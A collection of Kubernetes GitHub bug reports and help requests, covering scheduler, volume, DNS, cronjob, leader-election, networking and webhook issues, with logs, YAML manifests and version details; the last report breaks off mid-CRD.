
<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r pull-kubernetes-e2e-gce\r \r   which test s  are failing  :\r  sig-storage  csi volumes  driver: csi-hostpath   testpattern: dynamic pv  default fs   subpath should support existing directory\r \r   since when has it been failing  :\r first noticed 11/29\r \r   testgrid link  :\r https://gubernator.k8s.io/build/kubernetes-jenkins/pr-logs/pull/70756/pull-kubernetes-e2e-gce/61375/\r \r   reason for failure  :\r    \r test/e2e/framework/framework.go:154\r nov 29 22:11:24.304: couldn't delete ns: \ e2e-tests-csi-volumes-rpswt\ : namespace e2e-tests-csi-volumes-rpswt was not deleted with limit: timed out waiting for the condition, pods remaining: 3  &errors.errorstring{s:\ namespace e2e-tests-csi-volumes-rpswt was not deleted with limit: timed out waiting for the condition, pods remaining: 3\ } \r test/e2e/framework/framework.go:345\r    \r \r   anything else we need to know  :\r \r <!-- do not edit below this line -->\r 

had started on a page that references this page. have filed an issue against the parent but part of its resolution involves fixing this page too:  https://github.com/kubernetes/kubernetes/issues/21631  the page:  http://kubernetes.io/v1.1/examples/https-nginx/readme.html  https://github.com/kubernetes/kubernetes/blob/release-1.1/examples/https-nginx/readme.md  provides instructions on generating a secret. it was not immediately obvious from this page  i linked directly to it to a 1. download/build the code, 2. you should have a \ make\  command....  that there's an assumption that the reader will have downloaded kubernetes/examples sources. the make command obviously won't work as the correct \ make\  command won't exist:  make keys secret key=/tmp/nginx.key cert=/tmp/nginx.crt secret=/tmp/secret.json  after attempting and failing to download/build the sources, i believe that this script no longer works:  14558  ironically, i found generate-secrets-from-file on the following page and, through grokking this and the make_secret.go file, i was able to muddle through and create a secret.json file for kubernetes.  https://tectonic.com/enterprise/docs/latest/deployer/tls.html  recommend:  add documentation that explicitly documents  separately  how to generate a kuberenetes secret from self-signed certificates.  please add  if there's not already  an easier way to submit bugs against kubernetes.io by helping the reader reference the github source directly. i googled for duplicates to find the correct github page.

kubernetes version  :      client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.2\ , gitcommit:\ 528f879e7d3790ea4287687ef0ab3f2a01cc2718\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.2\ , gitcommit:\ 528f879e7d3790ea4287687ef0ab3f2a01cc2718\ , gittreestate:\ clean\ }        environment  : -   cloud provider or hardware configuration  : bare metal -   os    e.g. from /etc/os-release : ubuntu 12.04.4 lts, precise pangolin -   kernel    e.g.  uname -a  : linux tuk6r1knode3 3.13.0-55-generic  92~precise1-ubuntu smp sun jun 14 18:32:23 utc 2015 x86_64 x86_64 x86_64 gnu/linux -   install tools  : n/a ?  -   others  : n/a ?     what happened  :  during a  successful  rollingupdate, one of the new pods generated a confusing scheduler error, triggering a \ failedscheduling / binding rejected\  event right before a \ scheduled / successfully assigned\  event.  from \ describe pod\ :      events:   firstseen     lastseen        count   from                    subobjectpath                           type            reason                  message   ---------     --------        -----   ----                    -------------                           --------        ------                  -------   9m            9m              1       {default-scheduler }                                            normal          failedscheduling        binding rejected: pods \ ui-nodejs-static-b-20160830-005424-2mzxm\  not found   9m            9m              1       {default-scheduler }                                            normal          scheduled               successfully assigned ui-nodejs-static-b-20160830-005424-2mzxm to tuk6m1knode1   9m            9m              2       {kubelet tuk6m1knode1}                                          warning         missingclusterdns       kubelet does not have clusterdns ip configured and cannot create pod using \ clusterfirst\  policy. falling back to dnsdefault policy.   9m            9m              1       {kubelet tuk6m1knode1}  spec.containers{ui-nodejs-static-b}     normal          pulled                  container image \ docker.prod.skytap.com:5000/skytap/ui_nodejs_static:8c4034f8cbb29cb6cbe54de8c381f87260b4279d\  already present on machine   9m            9m              1       {kubelet tuk6m1knode1}  spec.containers{ui-nodejs-static-b}     normal          created                 created container with docker id 20b3b2f27439   9m            9m              1       {kubelet tuk6m1knode1}  spec.containers{ui-nodejs-static-b}     normal          started                 started container with docker id 20b3b2f27439      from scheduler logs:      $ kubectl logs kube-scheduler-tuk6m1kmaster1 | grep \ ui-nodejs-static-b-20160830-005424-2mzxm\  -b1 -a1 i0830 00:53:08.328971       1 event.go:211  event api.objectreference{kind:\ pod\ , namespace:\ web\ , name:\ web-reverse-proxy-20160830-005143-npec3\ , uid:\ 1e117df9-6e4c-11e6-bdf1-00505693b6e7\ , apiversion:\ v1\ , resourceversion:\ 17364677\ , fieldpath:\ \ } : type: 'normal' reason: 'scheduled' successfully assigned web-reverse-proxy-20160830-005143-npec3 to tuk6m1knode1 i0830 00:54:37.604711       1 factory.go:412  attempting to bind ui-nodejs-static-b-20160830-005424-2mzxm to tuk6m1knode2 i0830 00:54:37.609573       1 scheduler.go:138  failed to bind pod: pods \ ui-nodejs-static-b-20160830-005424-2mzxm\  not found e0830 00:54:37.609667       1 factory.go:355  error scheduling web ui-nodejs-static-b-20160830-005424-2mzxm: pods \ ui-nodejs-static-b-20160830-005424-2mzxm\  not found; retrying i0830 00:54:37.609748       1 event.go:211  event api.objectreference{kind:\ pod\ , namespace:\ web\ , name:\ ui-nodejs-static-b-20160830-005424-2mzxm\ , uid:\ 5353152e-6e4c-11e6-bdf1-00505693b6e7\ , apiversion:\ v1\ , resourceversion:\ 17364815\ , fieldpath:\ \ } : type: 'normal' reason: 'failedscheduling' binding rejected: pods \ ui-nodejs-static-b-20160830-005424-2mzxm\  not found i0830 00:54:37.627355       1 factory.go:412  attempting to bind ui-nodejs-static-b-20160830-005424-b6gfc to tuk6m1knode2 i0830 00:54:37.702081       1 event.go:211  event api.objectreference{kind:\ pod\ , namespace:\ web\ , name:\ ui-nodejs-static-b-20160830-005424-b6gfc\ , uid:\ 53534fca-6e4c-11e6-bdf1-00505693b6e7\ , apiversion:\ v1\ , resourceversion:\ 17364816\ , fieldpath:\ \ } : type: 'normal' reason: 'scheduled' successfully assigned ui-nodejs-static-b-20160830-005424-b6gfc to tuk6m1knode2 i0830 00:54:38.620328       1 factory.go:412  attempting to bind ui-nodejs-static-b-20160830-005424-2mzxm to tuk6m1knode1 i0830 00:54:38.666084       1 event.go:211  event api.objectreference{kind:\ pod\ , namespace:\ web\ , name:\ ui-nodejs-static-b-20160830-005424-2mzxm\ , uid:\ 5353152e-6e4c-11e6-bdf1-00505693b6e7\ , apiversion:\ v1\ , resourceversion:\ 17364815\ , fieldpath:\ \ } : type: 'normal' reason: 'scheduled' successfully assigned ui-nodejs-static-b-20160830-005424-2mzxm to tuk6m1knode1 i0830 00:55:49.694480       1 selector_spreading.go:131  skipping pending-deleted pod: web/ui-nodejs-static-b-20160830-002823-l77mh        what you expected to happen  :  the ask here is for help understanding why the binding was rejected -- what does it mean that the pod wasn't found?  and potentially this is also a bug that the \ message\  here needs to be improved for general understanding of the root issue that's being reported by the scheduler.    how to reproduce it    as minimally and precisely as possible :  unknown. we saw this during an otherwise-successful rollingupdate.    anything else do we need to know  :  n/a

39055   33288\r \r when a cinder volume is attached by one pod, and then another pod uses the same cinder volume  maybe by mistake ,if we detach an  attached cinder volume forcibly, the first pod will lose access to the cinder volume unexpected. this may cause some unpredictable problems.  is my understanding right?\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-etcd3/6446\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1154\r mar  2 14:22:19.373: errors in cleanup:  operation cannot be fulfilled on replicationcontrollers \ slow-terminating-unready-pod\ : the object has been modified; please apply your changes to the latest version and try again \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1020\r    \r \r cleanup should not flake.

hi,\r \r i am running kubernetes local cluster with using ./hack/local-up-cluster.sh script. now, when my firewall is off, all the containers in kube-dns are running:\r \r    \r   cluster/kubectl.sh get pods --all-namespaces\r namespace     name                       ready     status    restarts   age\r kube-system   kube-dns-73328275-87g4d   3/3       running   0          45s\r    \r \r but when firewall is on, i can see only 2 containers are running:\r \r    \r    cluster/kubectl.sh get pods --all-namespaces\r namespace     name                       ready     status    restarts   age\r kube-system   kube-dns-806549836-49v7d   2/3       running   0          45s\r    \r \r after investigating in details, turns out the pod is failing becase dnsmasq container is not running:\r \r    \r 7m      7m      1   kubelet, 127.0.0.1  spec.containers{dnsmasq}    normal      killing         killing container with id docker://41ef024a0610463e04607665276bb64e07f589e79924e3521708ca73de33142c:pod \ kube-dns-806549836-49v7d_kube-system d5729c5c-24da-11e7-b166-52540083b23a \  container \ dnsmasq\  is unhealthy, it will be killed and re-created.\r    \r \r can you help me with how do i run dnsmasq container with firewall on, and what exactly would i need to change? i read somewhere that some firewall rule needs to change, can't find it! tia.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : there's no information about my question.\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : cronjob\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:33:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :  bare-metal \r -   os    e.g. from /etc/os-release :  ubuntu 16.04.2 lts \r -   kernel    e.g.  uname -a  :  linux myhostname 4.4.0-72-generic  93-ubuntu smp fri mar 31 14:07:41 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r -   install tools  :\r -   others  :\r \r \r   what happened  :\r 1  can't get cronjobs scheduled.\r 2   kubectl describe cronjob xxx  doesn't work. kubectl uses wrong api version  it uses  batch/v1  instead of  batch/v2alpha1  \r \r   what you expected to happen  :\r 1  working cronjobs\r 2  working describe command\r \r   how to reproduce it    as minimally and precisely as possible :\r install fresh 1.6.1 cluster with kubeadm, edit apiserver manifest and add flag  --runtime-config=batch/v2alpha1=true  as it's described in  docs  https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/ \r \r   anything else we need to know  :\r nope.\r

i'm trying to use the initlializers feature  kubernetes/community 132  and i am unable to modify the spec of an uninitialized pod. \r \r the initializer gets an uninitialized pod, modifies the resources.requests for some containers in the pod spec and posts the modified pod.\r result:\r  pod is invalid: spec: forbidden: pod updates may not change fields other than 'spec.containers   .image', 'spec.initcontainers   .image', 'spec.activedeadlineseconds' or 'spec.tolerations'  only additions to existing tolerations  \r \r shouldn't the checks for changes on uninitialized pods be relaxed?\r \r @lavalamp \r @mwielgus \r \r 

is this a bug report or feature request?  :\r \r  \r my plugin.yaml looks like -\r    console\r $ cat ~/.kube/plugins/base64/plugin.yaml \r name: \ base64\ \r shortdesc: \ base64 command\ \r command: \ base64\ \r    \r \r   what happened  :\r \r kubectl binary does not pass flag to the binary.\r \r this works fine -\r    console\r $ kubectl plugin base64 plaintext.txt \r c2vjcmv0\r    \r \r but this fails,\r    console\r $ kubectl plugin base64 -d encoded.txt \r error: unknown shorthand flag: 'd' in -d\r \r \r usage:\r   kubectl plugin base64  options \r \r use \ kubectl options\  for a list of global command-line options  applies to all commands .\r    \r \r   what you expected to happen  :\r \r i'd expect  -d  to be passed to the plugin command and the file should be decoded, i.e. this should happen -\r    console\r $ kubectl plugin base64 -d encoded.txt\r secret\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r create the plugin.yaml file like -\r    console\r $ cat ~/.kube/plugins/base64/plugin.yaml \r name: \ base64\ \r shortdesc: \ base64 command\ \r command: \ base64\ \r    \r \r create a file with encoded data,  echo secret | base64 > encoded.txt \r \r then run the command,  kubectl plugin base64 -d encoded.txt \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r kubectl is v1.7.1\r    console\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.1\ , gitcommit:\ 1dc5c66f5dd61da08412a74221ecc79208c2165b\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t02:00:46z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-30t10:17:58z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :\r i'm on minikube v0.20.0\r    console\r $ minikube version\r minikube version: v0.20.0\r    \r \r - os  e.g. from /etc/os-release :\r fedora 25\r \r - kernel  e.g.  uname -a  :\r    console\r $ uname -a\r linux containscafeine 4.10.13-200.fc25.x86_64  1 smp thu apr 27 20:39:25 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r \r ping @fabianofranz, i think :

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r flex volume plugin  getvolumename  might be too verbose\r \r   what you expected to happen  :\r \r not getting many warning messages about falling back to flex's default  getvolumename \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a cluster, add a flex volume, let reconciler  or any other caller  call the plugin's  getvolumename \r \r   anything else we need to know?  :\r \r although the fix is easy, probably turning this https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/flexvolume/plugin.go l125 into \r    \r glog.v 5 .info  logprefix plugin , \ getvolumename is not supported yet. defaulting to pv or volume name: \ , name \r    \r \r probably the flex driver call can be avoided, since the result is not being used.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.x\r - cloud provider or hardware configuration  : tested on digital ocean\r - os  e.g. from /etc/os-release : coreos and ubuntu\r - kernel  e.g.  uname -a  : \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >\r >  \r \r   what happened  :\r i local-up a k8s cluster without kube-dns service on only-one node, so i set in guestbook-deployment.yaml through env to access service. but it will failed occasionally as log below, which shows \r that it can't find the service addr. we should create service first before deployments.\r \r nov 13 18:56:47.652: info: failed to get response from guestbook. err: <nil>, response: <br />\r <b>fatal error</b>:  uncaught exception 'predis\\connection\\connectionexception' with message 'php_network_getaddresses: getaddrinfo failed: name or service not known  tcp://:6379 ' in /usr/local/lib/php/predis/connection/abstractconnection.php:168\r ......\r nov 13 18:56:52.677: info: failed to get response from guestbook. err: <nil>, response: <br />\r <b>fatal error</b>:  uncaught exception 'predis\\connection\\connectionexception' with message 'php_network_getaddresses: getaddrinfo failed: name or service not known  tcp://:6379 ' in /usr/local/lib/php/predis/connection/abstractconnection.php:168\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r   \r \r   what happened  :\r in https://github.com/kubernetes/kubernetes/issues/61512 it was discovered that certain event sequences cause stale, incorrect entries to remain in the equivalence cache. quoting https://github.com/kubernetes/kubernetes/issues/61512 issuecomment-375830364,\r \r > here is what happens:\r > \r > 1. scheduler tries to schedule pod a, but a is not schedulabe and requires preemption.\r > 1. scheduler preempts several pods to make room for pod a.\r > 1. pod deletion events start arriving for the preempted pods.\r > 1. deletion events trigger scheduling queue and scheduler tries scheduling pod a again.\r >   here are the important events  the race is between step 6 and 7 :  \r > 1. scheduler determines that pod a is not yet schedulable, because deletion of the last preempted pod is not reflected in the scheduler cache. let's call the last preempted pod x.\r > 1. deletion of pod x is observed and invalidates equivalence cache.\r > 1. scheduler updates equivalence cache by the result of step 5.\r > 1. since scheduler observed deletion of pod x while it was attempting to schedule a, scheduler puts a back in the active queue to try again.\r > 1. scheduler tries again, but it uses equivalence cache results this time. the results which was put in step 7. scheduler determines that a is not schedulable based on equivalence cache and no other event invalidates the equivalence cache.\r > test times out.\r > \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r cherry pick https://github.com/kubernetes/kubernetes/pull/58555  which  has  https://github.com/kubernetes/kubernetes/pull/58903   been  https://github.com/kubernetes/kubernetes/pull/60753   reverted  https://github.com/kubernetes/kubernetes/pull/61621   and testpreemptionstarvation will become flaky.\r \r i am currently writing a test to reproduce this deterministically.\r \r /assign misterikkit

   is this a bug report or feature request?  :\r    what happened  :\r when i create the ha of the kubernetes master node  3 nodes , when the controller manager of the first node gets the leader state, the second node can still get the leader. in this case, multiple secrets are created in the same sa. and the secrets bound by sa that are queried on different master nodes are inconsistent. the deployment created in this case is also not deleted properly.the error is as follows：\r this is the first node:\r <pre><code>\r jul 13 13:23:04 hzsdplk8smaster04v kube-controller-manager 20514 : i0713 13:23:04.892467   20514 event.go:218  event v1.objectreference{kind:\ endpoints\ , namespace:\ kube-system\ , name:\ kube-controller-manager\ , uid:\ d1bf3665-865c-11e8-852f-0050568e06e7\ , apiversion:\ v1\ , resourceversion:\ 113142018\ , fieldpath:\ \ } : type: 'normal' reason: 'leaderelection' hzsdplk8smaster04v_d1be4e40-865c-11e8-8ab1-0050568e06e7 became leader\r </pre></code>\r then i started the second master node：\r <pre><code>\r jul 13 13:25:26 hzsdplk8smaster05v kube-controller-manager 31086 : i0713 13:25:26.068554   31086 event.go:218  event v1.objectreference{kind:\ endpoints\ , namespace:\ kube-system\ , name:\ kube-controller-manager\ , uid:\ d1bf3665-865c-11e8-852f-0050568e06e7\ , apiversion:\ v1\ , resourceversion:\ 113871679\ , fieldpath:\ \ } : type: 'normal' reason: 'leaderelection' hzsdplk8smaster05v_1c3742dc-865d-11e8-bf1e-0050568e489e became leader\r </code></pre>\r but in etcd：\r <pre><code>\r /registry/services/endpoints/kube-system/kube-controller-manager\r k8s\r \r v1      endpoints\u0002\r \u0002\r kube-controller-manager\r                        kube-system\  $d1bf3665-865c-11e8-852f-0050568e06e72\u0005b\u0001\r  control-plane.alpha.kubernetes.io/leader\u0001{\ holderidentity\ :\ hzsdplk8smaster05v_1c3742dc-865d-11e8-bf1e-0050568e489e\ ,\ leasedurationseconds\ :15,\ acquiretime\ :\ 2018-07-13t05:25:26z\ ,\ renewtime\ :\ 2018-07-13t05:31:03z\ ,\ leadertransitions\ :1}z\ \r </code></pre>\r the leader has been changed, but the first master did not release the leader.now we can see the secret as follow：\r <pre><code>\r  root@hzsdplk8smaster04v ~   kubectl get secrets --all-namespaces\r namespace     name                  type                                  data      age\r default       default-token-jmjc8   kubernetes.io/service-account-token   3         11m\r default       default-token-l6z4h   kubernetes.io/service-account-token   3         8m\r kube-public   default-token-656fh   kubernetes.io/service-account-token   3         8m\r kube-public   default-token-nqm42   kubernetes.io/service-account-token   3         11m\r kube-system   default-token-9dhkn   kubernetes.io/service-account-token   3         8m\r kube-system   default-token-swtzs   kubernetes.io/service-account-token   3         11m\r </code></pre>\r the two leaders generated two secrets for each sa。\r   what you expected to happen  :\r there should be only one leader in the cluster of ha.\r   how to reproduce it  as minimally and precisely as possible   :\r start the api server and controller manager after using the binary configuration service on centos 7\r   anything else we need to know?  :\r none\r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.5\r - cloud provider or hardware configuration: none\r - os  e.g. from /etc/os-release : centos linux release 7.5.1804  core \r - kernel  e.g.  uname -a  : linux hzsdplk8smaster04v 3.10.0-862.6.3.el7.x86_64  1 smp tue jun 26 16:32:21 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: binary file configuration\r - others: none\r

the generated protobuf files have a header explaining they are generated, which is useful if you are reading them.\r \r unfortunately, godoc treats that as a package comment, and anyone reading e.g. https://godoc.org/k8s.io/api/core/v1 is going to be given the mistaken impression that our api is generated from a proto file.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r    what happened  :\r bandwidth limit doesn't work\r   what you expected to happen  :\r bandwidth limit work\r   how to reproduce it  as minimally and precisely as possible   :\r https://kubernetes.io/docs/concepts/extend-kubernetes/compute-storage-net/network-plugins/ support-traffic-shaping\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: test\r   annotations:\r     kubernetes.io/ingress-bandwidth: 1m\r     kubernetes.io/egress-bandwidth: 1m\r spec:\r   containers:\r   - name: test\r     image: nginx:1.13\r    \r    \r failed create pod sandbox: rpc error: code = unknown desc = failed to set up sandbox container \ 4df4f85bbe21bf7e1696d07aae18b544f9ff4e0010d0da14cd503fbe071582a6\  network for pod \ test\ : networkplugin cni failed to set up pod \ test_default\  network: if rate is set, burst must also be set\r    \r \r   anything else we need to know?  :\r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockershim/network/cni/cni.go l378-l385\r    \r if ingress != nil {\r     bandwidthparam.ingressrate = int ingress.value   / 1000 \r     bandwidthparam.ingressburst = 0 // default to no limit\r }\r if egress != nil {\r     bandwidthparam.egressrate = int egress.value   / 1000 \r     bandwidthparam.egressburst = 0 // default to no limit\r }\r    \r https://github.com/containernetworking/plugins/blob/master/plugins/meta/bandwidth/main.go l110-l113\r    \r case burst == 0 && rate != 0:\r     return fmt.errorf \ if rate is set, burst must also be set\  \r case rate == 0 && burst != 0:\r     return fmt.errorf \ if burst is set, rate must also be set\  \r    \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.1\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : debian 8\r - kernel  e.g.  uname -a  : 4.9.0-0.bpo.6-amd64\r - install tools:\r - others:\r

<!-- \r stop -- please read!\r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r <!-- do not edit below this line -->\r \r kubernetes v1.8.1\r kube-controller-manager and kube-scheduler use  /etc/kubernetes/config,the config is:\r    \r    \r   kubernetes system config\r  \r   the following values are used to configure various aspects of all\r   kubernetes services, including\r  \r     kube-apiserver.service\r     kube-controller-manager.service\r     kube-scheduler.service\r     kubelet.service\r     kube-proxy.service\r   logging to stderr means we get it in the systemd journal\r kube_logtostderr=\ --logtostderr=false\ \r \r   journal message level, 0 is debug\r kube_log_level=\ --v=3\ \r \r   should this cluster be allowed to run privileged docker containers\r kube_allow_priv=\ --allow-privileged=true\ \r \r   how the controller-manager, scheduler, and proxy find the apiserver\r kube_master=\ --master=http://x.x.x.x:6443 --log-dir=/var/log/kubernetes --stderrthreshold=3\ \r    \r and the cluster have errors. kube-controller-manager and scheduler log error is :\r    \r leaderelection.go:252  error retrieving resource lock kube-system/kube-controller-manager: get https://xxxx:6443/api/v1/namespaces/kube-system/endpoints/kube-controller-manager?timeout=10s: x509: certificate signed by unknown authority\r    \r then i test kubec-controller-manager and scheduler use kubeconfig file,the  kubeconfig file is:\r    \r apiversion: v1\r clusters:\r - cluster:\r     certificate-authority-data: xxx\r     server: https://xxx:6443\r   name: kubernetes\r contexts:\r - context:\r     cluster: kubernetes\r     user: controller-manager\r   name: default\r current-context: default\r kind: config\r preferences: {}\r users:\r - name: controller-manager\r   user:\r     client-certificate-data: xxx\r     client-key-data: xxx\r    \r and the cluster is ready.\r \r \r \r  \r

what happened  :\r \r here is a brief explanation of my environment  i'll explain how to reproduce it in the relevant section below :\r \r i'm on the latest stable 1.13, which is 1.13.2. i'm using  microk8s  to be able to test this on multiple versions.\r \r i have both a validationwebhookconfiguration and mutatingwebhookconfiguration defined.\r \r validatingwebhookconfiguration:\r    \r apiversion: admissionregistration.k8s.io/v1beta1\r kind: validatingwebhookconfiguration\r metadata:\r   name: application-validation-webhook-configuration\r webhooks:\r - clientconfig:\r     cabundle: yxbpvmvyc2lvbjogywrtaxnzaw9ucmvnaxn0cmf0aw9ulms4cy5pby92mwjldgexcmtpbmq6ie11dgf0aw5nv2viag9va0nvbmzpz3vyyxrpb24kbwv0ywrhdge6ciagbmftztogyxbwbgljyxrpb24tbxv0yxrpb24td2viag9vay1jb25mawd1cmf0aw9ucndlymhvb2tzogotignsawvudenvbmzpzzokicagignhqnvuzgxloibhciagicbzzxj2awnloibudwxsciagicb1cmw6igh0dhbzoi8vmti3ljaumc4xojg0ndmvdjevbxv0yxrllwfwcgxpy2f0aw9ucwogigzhawx1cmvqb2xpy3k6ielnbm9yzqogig5hbwu6igfwcgxpy2f0aw9uciagcnvszxm6ciaglsbhcglhcm91chm6ciagicaticcqjwogicagyxbpvmvyc2lvbnm6ciagicaticcqjwogicagb3blcmf0aw9uczokicagic0gq1jfqvrfciagicatifvqrefurqogicagcmvzb3vyy2vzogogicaglsbhchbsawnhdglvbnmk\r     service: null\r     url: https://127.0.0.1:8443/v1/validate-applications\r   name: applications.shipper.booking.com\r   failurepolicy: ignore\r   rules:\r   - apigroups:\r     - ' '\r     apiversions:\r     - ' '\r     operations:\r     - create\r     - update\r     resources:\r     - applications\r \r    \r \r mutatingwebhookconfiguration:\r \r    \r apiversion: admissionregistration.k8s.io/v1beta1\r kind: mutatingwebhookconfiguration\r metadata:\r   name: application-mutation-webhook-configuration\r webhooks:\r - clientconfig:\r     cabundle: yxbpvmvyc2lvbjogywrtaxnzaw9ucmvnaxn0cmf0aw9ulms4cy5pby92mwjldgexcmtpbmq6ie11dgf0aw5nv2viag9va0nvbmzpz3vyyxrpb24kbwv0ywrhdge6ciagbmftztogyxbwbgljyxrpb24tbxv0yxrpb24td2viag9vay1jb25mawd1cmf0aw9ucndlymhvb2tzogotignsawvudenvbmzpzzokicagignhqnvuzgxloibhciagicbzzxj2awnloibudwxsciagicb1cmw6igh0dhbzoi8vmti3ljaumc4xojg0ndmvdjevbxv0yxrllwfwcgxpy2f0aw9ucwogigzhawx1cmvqb2xpy3k6ielnbm9yzqogig5hbwu6igfwcgxpy2f0aw9uciagcnvszxm6ciaglsbhcglhcm91chm6ciagicaticcqjwogicagyxbpvmvyc2lvbnm6ciagicaticcqjwogicagb3blcmf0aw9uczokicagic0gq1jfqvrfciagicatifvqrefurqogicagcmvzb3vyy2vzogogicaglsbhchbsawnhdglvbnmk\r \r     service: null\r     url: https://127.0.0.1:8443/v1/mutate-applications\r   failurepolicy: ignore\r   name: applications.shipper.booking.com\r   rules:\r   - apigroups:\r     - ' '\r     apiversions:\r     - ' '\r     operations:\r     - create\r     - update\r     resources:\r     - applications\r    \r \r i also have a crd, which defines multiple versions.  v1  is the older version which we were using before kubernetes supported versioning. now that kubernetes allows us to define multiple versions, we want to move to  v1alpha1 . that's why you will see the object being _served_ as  v1 , but not _stored_ as  v1 :\r \r    \r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: applications.shipper.booking.com\r spec:\r   additionalprintercolumns:\r   - jsonpath: .metadata.creationtimestamp\r     description: |-\r       creationtimestamp is a timestamp representing the server time when this object was created. it is not guaranteed to be set in happens-before order across separate operations. clients may not set this value. it is represented in rfc3339 form and is in utc.\r \r       populated by the system. read-only. null for lists. more info: https://git.k8s.io/community/contributors/devel/api-conventions.md metadata\r     name: age\r     type: date\r   conversion:\r     strategy: none\r   group: shipper.booking.com\r   names:\r     categories:\r     - all\r     - shipper\r     kind: application\r     listkind: applicationlist\r     plural: applications\r     shortnames:\r     - app\r     singular: application\r   scope: namespaced\r   validation:\r     openapiv3schema:\r       properties:\r         spec:\r           properties:\r             template:\r               properties:\r                 clusterrequirements:\r                   properties:\r                     capabilities:\r                       items:\r                         type: string\r                       type: array\r                     regions:\r                       items:\r                         type: object\r                       type: array\r                   required:\r                   - regions\r                   type: object\r                 strategy:\r                   properties:\r                     steps:\r                       items:\r                         properties:\r                           capacity:\r                             properties:\r                               contender:\r                                 maximum: 100\r                                 minimum: 0\r                                 type: integer\r                               incumbent:\r                                 maximum: 100\r                                 minimum: 0\r                                 type: integer\r                             required:\r                             - incumbent\r                             - contender\r                             type: object\r                           name:\r                             type: string\r                           traffic:\r                             properties:\r                               contender:\r                                 minimum: 0\r                                 type: integer\r                               incumbent:\r                                 minimum: 0\r                                 type: integer\r                             required:\r                             - incumbent\r                             - contender\r                             type: object\r                         required:\r                         - name\r                         - traffic\r                         - capacity\r                         type: object\r                       type: array\r                   required:\r                   - 